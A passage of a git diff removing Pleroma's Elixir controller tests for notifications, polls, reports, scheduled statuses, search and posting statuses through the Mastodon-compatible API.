get("/api/v1/notifications") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - end - - test "doesn't see notifications after muting user with notifications" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - user2 = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(user, user2) - {:ok, _} = CommonAPI.post(user2, %{status: "hey @#{user.nickname}"}) - - ret_conn = get(conn, "/api/v1/notifications") - - assert length(json_response_and_validate_schema(ret_conn, 200)) == 1 - - {:ok, _user_relationships} = User.mute(user, user2) - - conn = get(conn, "/api/v1/notifications") - - assert json_response_and_validate_schema(conn, 200) == [] - end - - test "see notifications after muting user without notifications" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - user2 = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(user, user2) - {:ok, _} = CommonAPI.post(user2, %{status: "hey @#{user.nickname}"}) - - ret_conn = get(conn, "/api/v1/notifications") - - assert length(json_response_and_validate_schema(ret_conn, 200)) == 1 - - {:ok, _user_relationships} = User.mute(user, user2, false) - - conn = get(conn, "/api/v1/notifications") - - assert length(json_response_and_validate_schema(conn, 200)) == 1 - end - - test "see notifications after muting user with notifications and with_muted parameter" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - user2 = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(user, user2) - {:ok, _} = CommonAPI.post(user2, %{status: "hey @#{user.nickname}"}) - - ret_conn = get(conn, "/api/v1/notifications") - - assert length(json_response_and_validate_schema(ret_conn, 200)) == 1 - - {:ok, _user_relationships} = User.mute(user, user2) - - conn = get(conn, "/api/v1/notifications?with_muted=true") - - assert length(json_response_and_validate_schema(conn, 200)) == 1 - end - - @tag capture_log: true - test "see move notifications" do - old_user = insert(:user) - new_user = insert(:user, also_known_as: [old_user.ap_id]) - %{user: follower, conn: conn} = oauth_access(["read:notifications"]) - - old_user_url = old_user.ap_id - - body = - File.read!("test/fixtures/users_mock/localhost.json") - |> String.replace("{{nickname}}", old_user.nickname) - |> Jason.encode!() - - Tesla.Mock.mock(fn - %{method: :get, url: ^old_user_url} -> - %Tesla.Env{status: 200, body: body} - end) - - User.follow(follower, old_user) - Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user) - Pleroma.Tests.ObanHelpers.perform_all() - - conn = get(conn, "/api/v1/notifications") - - assert length(json_response_and_validate_schema(conn, 200)) == 1 - end - - describe "link headers" do - test "preserves parameters in link headers" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, activity1} = - CommonAPI.post(other_user, %{ - status: "hi @#{user.nickname}", - visibility: "public" - }) - - {:ok, activity2} = - CommonAPI.post(other_user, %{ - status: "hi @#{user.nickname}", - visibility: "public" - }) - - notification1 = Repo.get_by(Notification, activity_id: activity1.id) - notification2 = Repo.get_by(Notification, activity_id: activity2.id) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/notifications?limit=5") - - assert [link_header] = get_resp_header(conn, "link") - assert link_header =~ ~r/limit=5/ - assert link_header =~ ~r/min_id=#{notification2.id}/ - assert link_header =~ ~r/max_id=#{notification1.id}/ - end - end - - describe "from specified user" do - test "account_id" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - - %{id: account_id} = other_user1 = insert(:user) - other_user2 = insert(:user) - - {:ok, _activity} = CommonAPI.post(other_user1, %{status: "hi @#{user.nickname}"}) - {:ok, _activity} = CommonAPI.post(other_user2, %{status: "bye @#{user.nickname}"}) - - assert [%{"account" => %{"id" => ^account_id}}] = - conn - |> assign(:user, user) - |> get("/api/v1/notifications?account_id=#{account_id}") - |> json_response_and_validate_schema(200) - - assert %{"error" => "Account is not found"} = - conn - |> assign(:user, user) - |> get("/api/v1/notifications?account_id=cofe") - |> json_response_and_validate_schema(404) - end - end - - defp get_notification_id_by_activity(%{id: id}) do - Notification - |> Repo.get_by(activity_id: id) - |> Map.get(:id) - |> to_string() - end - - defp params_to_query(%{} = params) do - Enum.map_join(params, "&", fn - {k, v} when is_list(v) -> Enum.map_join(v, "&", &"#{k}[]=#{&1}") - {k, v} -> k <> "=" <> v - end) - end -end diff --git a/test/web/mastodon_api/controllers/poll_controller_test.exs b/test/web/mastodon_api/controllers/poll_controller_test.exs deleted file mode 100644 index f41de6448..000000000 --- a/test/web/mastodon_api/controllers/poll_controller_test.exs +++ /dev/null @@ -1,171 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.PollControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "GET /api/v1/polls/:id" do - setup do: oauth_access(["read:statuses"]) - - test "returns poll entity for object id", %{user: user, conn: conn} do - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Pleroma does", - poll: %{options: ["what Mastodon't", "n't what Mastodoes"], expires_in: 20} - }) - - object = Object.normalize(activity) - - conn = get(conn, "/api/v1/polls/#{object.id}") - - response = json_response_and_validate_schema(conn, 200) - id = to_string(object.id) - assert %{"id" => ^id, "expired" => false, "multiple" => false} = response - end - - test "does not expose polls for private statuses", %{conn: conn} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(other_user, %{ - status: "Pleroma does", - poll: %{options: ["what Mastodon't", "n't what Mastodoes"], expires_in: 20}, - visibility: "private" - }) - - object = Object.normalize(activity) - - conn = get(conn, "/api/v1/polls/#{object.id}") - - assert json_response_and_validate_schema(conn, 404) - end - end - - describe "POST /api/v1/polls/:id/votes" do - setup do: oauth_access(["write:statuses"]) - - test "votes are added to the poll", %{conn: conn} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(other_user, %{ - status: "A very delicious sandwich", - poll: %{ - options: ["Lettuce", "Grilled Bacon", "Tomato"], - expires_in: 20, - multiple: true - } - }) - - object = Object.normalize(activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1, 2]}) - - assert json_response_and_validate_schema(conn, 200) - object = Object.get_by_id(object.id) - - assert Enum.all?(object.data["anyOf"], fn %{"replies" => %{"totalItems" => total_items}} -> - total_items == 1 - end) - end - - test "author can't vote", %{user: user, conn: conn} do - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Am I cute?", - poll: %{options: ["Yes", "No"], expires_in: 20} - }) - - object = Object.normalize(activity) - - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [1]}) - |> json_response_and_validate_schema(422) == %{"error" => "Poll's author can't vote"} - - object = Object.get_by_id(object.id) - - refute Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 1 - end - - test "does not allow multiple choices on a single-choice question", %{conn: conn} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(other_user, %{ - status: "The glass is", - poll: %{options: ["half empty", "half full"], expires_in: 20} - }) - - object = Object.normalize(activity) - - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1]}) - |> json_response_and_validate_schema(422) == %{"error" => "Too many choices"} - - object = Object.get_by_id(object.id) - - refute Enum.any?(object.data["oneOf"], fn %{"replies" => %{"totalItems" => total_items}} -> - total_items == 1 - end) - end - - test "does not allow choice index to be greater than options count", %{conn: conn} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(other_user, %{ - status: "Am I cute?", - poll: %{options: ["Yes", "No"], expires_in: 20} - }) - - object = Object.normalize(activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [2]}) - - assert json_response_and_validate_schema(conn, 422) == %{"error" => "Invalid indices"} - end - - test "returns 404 error when object is not exist", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/polls/1/votes", %{"choices" => [0]}) - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - - test "returns 404 when poll is private and not available for user", %{conn: conn} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(other_user, %{ - status: "Am I cute?", - poll: %{options: ["Yes", "No"], expires_in: 20}, - visibility: "private" - }) - - object = Object.normalize(activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0]}) - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - end -end diff --git a/test/web/mastodon_api/controllers/report_controller_test.exs b/test/web/mastodon_api/controllers/report_controller_test.exs deleted file mode 100644 index 6636cff96..000000000 --- a/test/web/mastodon_api/controllers/report_controller_test.exs +++ /dev/null @@ -1,95 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ReportControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup do: oauth_access(["write:reports"]) - - setup do - target_user = insert(:user) - - {:ok, activity} = CommonAPI.post(target_user, %{status: "foobar"}) - - [target_user: target_user, activity: activity] - end - - test "submit a basic report", %{conn: conn, target_user: target_user} do - assert %{"action_taken" => false, "id" => _} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/reports", %{"account_id" => target_user.id}) - |> json_response_and_validate_schema(200) - end - - test "submit a report with statuses and comment", %{ - conn: conn, - target_user: target_user, - activity: activity - } do - assert %{"action_taken" => false, "id" => _} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/reports", %{ - "account_id" => target_user.id, - "status_ids" => [activity.id], - "comment" => "bad status!", - "forward" => "false" - }) - |> json_response_and_validate_schema(200) - end - - test "account_id is required", %{ - conn: conn, - activity: activity - } do - assert %{"error" => "Missing field: account_id."} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/reports", %{"status_ids" => [activity.id]}) - |> json_response_and_validate_schema(400) - end - - test "comment must be up to the size specified in the config", %{ - conn: conn, - target_user: target_user - } do - max_size = Pleroma.Config.get([:instance, :max_report_comment_size], 1000) - comment = String.pad_trailing("a", max_size + 1, "a") - - error = %{"error" => "Comment must be up to #{max_size} characters"} - - assert ^error = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/reports", %{"account_id" => target_user.id, "comment" => comment}) - |> json_response_and_validate_schema(400) - end - - test "returns error when account is not exist", %{ - conn: conn, - activity: activity - } do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/reports", %{"status_ids" => [activity.id], "account_id" => "foo"}) - - assert json_response_and_validate_schema(conn, 400) == %{"error" => "Account not found"} - end - - test "doesn't fail if an admin has no email", %{conn: conn, target_user: target_user} do - insert(:user, %{is_admin: true, email: nil}) - - assert %{"action_taken" => false, "id" => _} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/reports", %{"account_id" => target_user.id}) - |> json_response_and_validate_schema(200) - end -end diff --git a/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs b/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs deleted file mode 100644 index 1ff871c89..000000000 --- a/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs +++ /dev/null @@ -1,139 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ScheduledActivityControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Repo - alias Pleroma.ScheduledActivity - - import Pleroma.Factory - import Ecto.Query - - setup do: clear_config([ScheduledActivity, :enabled]) - - test "shows scheduled activities" do - %{user: user, conn: conn} = oauth_access(["read:statuses"]) - - scheduled_activity_id1 = insert(:scheduled_activity, user: user).id |> to_string() - scheduled_activity_id2 = insert(:scheduled_activity, user: user).id |> to_string() - scheduled_activity_id3 = insert(:scheduled_activity, user: user).id |> to_string() - scheduled_activity_id4 = insert(:scheduled_activity, user: user).id |> to_string() - - # min_id - conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}") - - result = json_response_and_validate_schema(conn_res, 200) - assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result - - # since_id - conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}") - - result = json_response_and_validate_schema(conn_res, 200) - assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result - - # max_id - conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}") - - result = json_response_and_validate_schema(conn_res, 200) - assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result - end - - test "shows a scheduled activity" do - %{user: user, conn: conn} = oauth_access(["read:statuses"]) - scheduled_activity = insert(:scheduled_activity, user: user) - - res_conn = get(conn, "/api/v1/scheduled_statuses/#{scheduled_activity.id}") - - assert %{"id" => scheduled_activity_id} = json_response_and_validate_schema(res_conn, 200) - assert scheduled_activity_id == scheduled_activity.id |> to_string() - - res_conn = get(conn, "/api/v1/scheduled_statuses/404") - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(res_conn, 404) - end - - test "updates a scheduled activity" do - Pleroma.Config.put([ScheduledActivity, :enabled], true) - %{user: user, conn: conn} = oauth_access(["write:statuses"]) - - scheduled_at = Timex.shift(NaiveDateTime.utc_now(), minutes: 60) - - {:ok, scheduled_activity} = - ScheduledActivity.create( - user, - %{ - scheduled_at: scheduled_at, - params: build(:note).data - } - ) - - job = Repo.one(from(j in Oban.Job, where: j.queue == "scheduled_activities")) - - assert job.args == %{"activity_id" => scheduled_activity.id} - assert DateTime.truncate(job.scheduled_at, :second) == to_datetime(scheduled_at) - - new_scheduled_at = - NaiveDateTime.utc_now() - |> Timex.shift(minutes: 120) - |> Timex.format!("%Y-%m-%dT%H:%M:%S.%fZ", :strftime) - - res_conn = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{ - scheduled_at: new_scheduled_at - }) - - assert %{"scheduled_at" => expected_scheduled_at} = - json_response_and_validate_schema(res_conn, 200) - - assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at) - job = refresh_record(job) - - assert DateTime.truncate(job.scheduled_at, :second) == to_datetime(new_scheduled_at) - - res_conn = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at}) - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(res_conn, 404) - end - - test "deletes a scheduled activity" do - Pleroma.Config.put([ScheduledActivity, :enabled], true) - %{user: user, conn: conn} = oauth_access(["write:statuses"]) - scheduled_at = Timex.shift(NaiveDateTime.utc_now(), minutes: 60) - - {:ok, scheduled_activity} = - ScheduledActivity.create( - user, - %{ - scheduled_at: scheduled_at, - params: build(:note).data - } - ) - - job = Repo.one(from(j in Oban.Job, where: j.queue == "scheduled_activities")) - - assert job.args == %{"activity_id" => scheduled_activity.id} - - res_conn = - conn - |> assign(:user, user) - |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") - - assert %{} = json_response_and_validate_schema(res_conn, 200) - refute Repo.get(ScheduledActivity, scheduled_activity.id) - refute Repo.get(Oban.Job, job.id) - - res_conn = - conn - |> assign(:user, user) - |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(res_conn, 404) - end -end diff --git a/test/web/mastodon_api/controllers/search_controller_test.exs b/test/web/mastodon_api/controllers/search_controller_test.exs deleted file mode 100644 index 04dc6f445..000000000 --- a/test/web/mastodon_api/controllers/search_controller_test.exs +++ /dev/null @@ -1,413 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Object - alias Pleroma.Web - alias Pleroma.Web.CommonAPI - import Pleroma.Factory - import ExUnit.CaptureLog - import Tesla.Mock - import Mock - - setup_all do - mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe ".search2" do - test "it returns empty result if user or status search return undefined error", %{conn: conn} do - with_mocks [ - {Pleroma.User, [], [search: fn _q, _o -> raise "Oops" end]}, - {Pleroma.Activity, [], [search: fn _u, _q, _o -> raise "Oops" end]} - ] do - capture_log(fn -> - results = - conn - |> get("/api/v2/search?q=2hu") - |> json_response_and_validate_schema(200) - - assert results["accounts"] == [] - assert results["statuses"] == [] - end) =~ - "[error] Elixir.Pleroma.Web.MastodonAPI.SearchController search error: %RuntimeError{message: \"Oops\"}" - end - end - - test "search", %{conn: conn} do - user = insert(:user) - user_two = insert(:user, %{nickname: "shp@shitposter.club"}) - user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) - - {:ok, activity} = CommonAPI.post(user, %{status: "This is about 2hu private 天子"}) - - {:ok, _activity} = - CommonAPI.post(user, %{ - status: "This is about 2hu, but private", - visibility: "private" - }) - - {:ok, _} = CommonAPI.post(user_two, %{status: "This isn't"}) - - results = - conn - |> get("/api/v2/search?#{URI.encode_query(%{q: "2hu #private"})}") - |> json_response_and_validate_schema(200) - - [account | _] = results["accounts"] - assert account["id"] == to_string(user_three.id) - - assert results["hashtags"] == [ - %{"name" => "private", "url" => "#{Web.base_url()}/tag/private"} - ] - - [status] = results["statuses"] - assert status["id"] == to_string(activity.id) - - results = - get(conn, "/api/v2/search?q=天子") - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "天子", "url" => "#{Web.base_url()}/tag/天子"} - ] - - [status] = results["statuses"] - assert status["id"] == to_string(activity.id) - end - - @tag capture_log: true - test "constructs hashtags from search query", %{conn: conn} do - results = - conn - |> get("/api/v2/search?#{URI.encode_query(%{q: "some text with #explicit #hashtags"})}") - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "explicit", "url" => "#{Web.base_url()}/tag/explicit"}, - %{"name" => "hashtags", "url" => "#{Web.base_url()}/tag/hashtags"} - ] - - results = - conn - |> get("/api/v2/search?#{URI.encode_query(%{q: "john doe JOHN DOE"})}") - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "john", "url" => "#{Web.base_url()}/tag/john"}, - %{"name" => "doe", "url" => "#{Web.base_url()}/tag/doe"}, - %{"name" => "JohnDoe", "url" => "#{Web.base_url()}/tag/JohnDoe"} - ] - - results = - conn - |> get("/api/v2/search?#{URI.encode_query(%{q: "accident-prone"})}") - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "accident", "url" => "#{Web.base_url()}/tag/accident"}, - %{"name" => "prone", "url" => "#{Web.base_url()}/tag/prone"}, - %{"name" => "AccidentProne", "url" => "#{Web.base_url()}/tag/AccidentProne"} - ] - - results = - conn - |> get("/api/v2/search?#{URI.encode_query(%{q: "https://shpposter.club/users/shpuld"})}") - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "shpuld", "url" => "#{Web.base_url()}/tag/shpuld"} - ] - - results = - conn - |> get( - "/api/v2/search?#{ - URI.encode_query(%{ - q: - "https://www.washingtonpost.com/sports/2020/06/10/" <> - "nascar-ban-display-confederate-flag-all-events-properties/" - }) - }" - ) - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "nascar", "url" => "#{Web.base_url()}/tag/nascar"}, - %{"name" => "ban", "url" => "#{Web.base_url()}/tag/ban"}, - %{"name" => "display", "url" => "#{Web.base_url()}/tag/display"}, - %{"name" => "confederate", "url" => "#{Web.base_url()}/tag/confederate"}, - %{"name" => "flag", "url" => "#{Web.base_url()}/tag/flag"}, - %{"name" => "all", "url" => "#{Web.base_url()}/tag/all"}, - %{"name" => "events", "url" => "#{Web.base_url()}/tag/events"}, - %{"name" => "properties", "url" => "#{Web.base_url()}/tag/properties"}, - %{ - "name" => "NascarBanDisplayConfederateFlagAllEventsProperties", - "url" => - "#{Web.base_url()}/tag/NascarBanDisplayConfederateFlagAllEventsProperties" - } - ] - end - - test "supports pagination of hashtags search results", %{conn: conn} do - results = - conn - |> get( - "/api/v2/search?#{ - URI.encode_query(%{q: "#some #text #with #hashtags", limit: 2, offset: 1}) - }" - ) - |> json_response_and_validate_schema(200) - - assert results["hashtags"] == [ - %{"name" => "text", "url" => "#{Web.base_url()}/tag/text"}, - %{"name" => "with", "url" => "#{Web.base_url()}/tag/with"} - ] - end - - test "excludes a blocked users from search results", %{conn: conn} do - user = insert(:user) - user_smith = insert(:user, %{nickname: "Agent", name: "I love 2hu"}) - user_neo = insert(:user, %{nickname: "Agent Neo", name: "Agent"}) - - {:ok, act1} = CommonAPI.post(user, %{status: "This is about 2hu private 天子"}) - {:ok, act2} = CommonAPI.post(user_smith, %{status: "Agent Smith"}) - {:ok, act3} = CommonAPI.post(user_neo, %{status: "Agent Smith"}) - Pleroma.User.block(user, user_smith) - - results = - conn - |> assign(:user, user) - |> assign(:token, insert(:oauth_token, user: user, scopes: ["read"])) - |> get("/api/v2/search?q=Agent") - |> json_response_and_validate_schema(200) - - status_ids = Enum.map(results["statuses"], fn g -> g["id"] end) - - assert act3.id in status_ids - refute act2.id in status_ids - refute act1.id in status_ids - end - end - - describe ".account_search" do - test "account search", %{conn: conn} do - user_two = insert(:user, %{nickname: "shp@shitposter.club"}) - user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) - - results = - conn - |> get("/api/v1/accounts/search?q=shp") - |> json_response_and_validate_schema(200) - - result_ids = for result <- results, do: result["acct"] - - assert user_two.nickname in result_ids - assert user_three.nickname in result_ids - - results = - conn - |> get("/api/v1/accounts/search?q=2hu") - |> json_response_and_validate_schema(200) - - result_ids = for result <- results, do: result["acct"] - - assert user_three.nickname in result_ids - end - - test "returns account if query contains a space", %{conn: conn} do - insert(:user, %{nickname: "shp@shitposter.club"}) - - results = - conn - |> get("/api/v1/accounts/search?q=shp@shitposter.club xxx") - |> json_response_and_validate_schema(200) - - assert length(results) == 1 - end - end - - describe ".search" do - test "it returns empty result if user or status search return undefined error", %{conn: conn} do - with_mocks [ - {Pleroma.User, [], [search: fn _q, _o -> raise "Oops" end]}, - {Pleroma.Activity, [], [search: fn _u, _q, _o -> raise "Oops" end]} - ] do - capture_log(fn -> - results = - conn - |> get("/api/v1/search?q=2hu") - |> json_response_and_validate_schema(200) - - assert results["accounts"] == [] - assert results["statuses"] == [] - end) =~ - "[error] Elixir.Pleroma.Web.MastodonAPI.SearchController search error: %RuntimeError{message: \"Oops\"}" - end - end - - test "search", %{conn: conn} do - user = insert(:user) - user_two = insert(:user, %{nickname: "shp@shitposter.club"}) - user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) - - {:ok, activity} = CommonAPI.post(user, %{status: "This is about 2hu"}) - - {:ok, _activity} = - CommonAPI.post(user, %{ - status: "This is about 2hu, but private", - visibility: "private" - }) - - {:ok, _} = CommonAPI.post(user_two, %{status: "This isn't"}) - - results = - conn - |> get("/api/v1/search?q=2hu") - |> json_response_and_validate_schema(200) - - [account | _] = results["accounts"] - assert account["id"] == to_string(user_three.id) - - assert results["hashtags"] == ["2hu"] - - [status] = results["statuses"] - assert status["id"] == to_string(activity.id) - end - - test "search fetches remote statuses and prefers them over other results", %{conn: conn} do - capture_log(fn -> - {:ok, %{id: activity_id}} = - CommonAPI.post(insert(:user), %{ - status: "check out http://mastodon.example.org/@admin/99541947525187367" - }) - - results = - conn - |> get("/api/v1/search?q=http://mastodon.example.org/@admin/99541947525187367") - |> json_response_and_validate_schema(200) - - assert [ - %{"url" => "http://mastodon.example.org/@admin/99541947525187367"}, - %{"id" => ^activity_id} - ] = results["statuses"] - end) - end - - test "search doesn't show statuses that it shouldn't", %{conn: conn} do - {:ok, activity} = - CommonAPI.post(insert(:user), %{ - status: "This is about 2hu, but private", - visibility: "private" - }) - - capture_log(fn -> - q = Object.normalize(activity).data["id"] - - results = - conn - |> get("/api/v1/search?q=#{q}") - |> json_response_and_validate_schema(200) - - [] = results["statuses"] - end) - end - - test "search fetches remote accounts", %{conn: conn} do - user = insert(:user) - - query = URI.encode_query(%{q: " mike@osada.macgirvin.com ", resolve: true}) - - results = - conn - |> assign(:user, user) - |> assign(:token, insert(:oauth_token, user: user, scopes: ["read"])) - |> get("/api/v1/search?#{query}") - |> json_response_and_validate_schema(200) - - [account] = results["accounts"] - assert account["acct"] == "mike@osada.macgirvin.com" - end - - test "search doesn't fetch remote accounts if resolve is false", %{conn: conn} do - results = - conn - |> get("/api/v1/search?q=mike@osada.macgirvin.com&resolve=false") - |> json_response_and_validate_schema(200) - - assert [] == results["accounts"] - end - - test "search with limit and offset", %{conn: conn} do - user = insert(:user) - _user_two = insert(:user, %{nickname: "shp@shitposter.club"}) - _user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) - - {:ok, _activity1} = CommonAPI.post(user, %{status: "This is about 2hu"}) - {:ok, _activity2} = CommonAPI.post(user, %{status: "This is also about 2hu"}) - - result = - conn - |> get("/api/v1/search?q=2hu&limit=1") - - assert results = json_response_and_validate_schema(result, 200) - assert [%{"id" => activity_id1}] = results["statuses"] - assert [_] = results["accounts"] - - results = - conn - |> get("/api/v1/search?q=2hu&limit=1&offset=1") - |> json_response_and_validate_schema(200) - - assert [%{"id" => activity_id2}] = results["statuses"] - assert [] = results["accounts"] - - assert activity_id1 != activity_id2 - end - - test "search returns results only for the given type", %{conn: conn} do - user = insert(:user) - _user_two = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) - - {:ok, _activity} = CommonAPI.post(user, %{status: "This is about 2hu"}) - - assert %{"statuses" => [_activity], "accounts" => [], "hashtags" => []} = - conn - |> get("/api/v1/search?q=2hu&type=statuses") - |> json_response_and_validate_schema(200) - - assert %{"statuses" => [], "accounts" => [_user_two], "hashtags" => []} = - conn - |> get("/api/v1/search?q=2hu&type=accounts") - |> json_response_and_validate_schema(200) - end - - test "search uses account_id to filter statuses by the author", %{conn: conn} do - user = insert(:user, %{nickname: "shp@shitposter.club"}) - user_two = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"}) - - {:ok, activity1} = CommonAPI.post(user, %{status: "This is about 2hu"}) - {:ok, activity2} = CommonAPI.post(user_two, %{status: "This is also about 2hu"}) - - results = - conn - |> get("/api/v1/search?q=2hu&account_id=#{user.id}") - |> json_response_and_validate_schema(200) - - assert [%{"id" => activity_id1}] = results["statuses"] - assert activity_id1 == activity1.id - assert [_] = results["accounts"] - - results = - conn - |> get("/api/v1/search?q=2hu&account_id=#{user_two.id}") - |> json_response_and_validate_schema(200) - - assert [%{"id" => activity_id2}] = results["statuses"] - assert activity_id2 == activity2.id - end - end -end diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs deleted file mode 100644 index 633a25e50..000000000 --- a/test/web/mastodon_api/controllers/status_controller_test.exs +++ /dev/null @@ -1,1743 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do - use Pleroma.Web.ConnCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.Conversation.Participation - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.ScheduledActivity - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup do: clear_config([:instance, :federating]) - setup do: clear_config([:instance, :allow_relay]) - setup do: clear_config([:rich_media, :enabled]) - setup do: clear_config([:mrf, :policies]) - setup do: clear_config([:mrf_keyword, :reject]) - - describe "posting statuses" do - setup do: oauth_access(["write:statuses"]) - - test "posting a status does not increment reblog_count when relaying", %{conn: conn} do - Config.put([:instance, :federating], true) - Config.get([:instance, :allow_relay], true) - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{ - "content_type" => "text/plain", - "source" => "Pleroma FE", - "status" => "Hello world", - "visibility" => "public" - }) - |> json_response_and_validate_schema(200) - - assert response["reblogs_count"] == 0 - ObanHelpers.perform_all() - - response = - conn - |> get("api/v1/statuses/#{response["id"]}", %{}) - |> json_response_and_validate_schema(200) - - assert response["reblogs_count"] == 0 - end - - test "posting a status", %{conn: conn} do - idempotency_key = "Pikachu rocks!" - - conn_one = - conn - |> put_req_header("content-type", "application/json") - |> put_req_header("idempotency-key", idempotency_key) - |> post("/api/v1/statuses", %{ - "status" => "cofe", - "spoiler_text" => "2hu", - "sensitive" => "0" - }) - - {:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key) - # Six hours - assert ttl > :timer.seconds(6 * 60 * 60 - 1) - - assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} = - json_response_and_validate_schema(conn_one, 200) - - assert Activity.get_by_id(id) - - conn_two = - conn - |> put_req_header("content-type", "application/json") - |> put_req_header("idempotency-key", idempotency_key) - |> post("/api/v1/statuses", %{ - "status" => "cofe", - "spoiler_text" => "2hu", - "sensitive" => 0 - }) - - assert %{"id" => second_id} = json_response(conn_two, 200) - assert id == second_id - - conn_three = - conn - |> 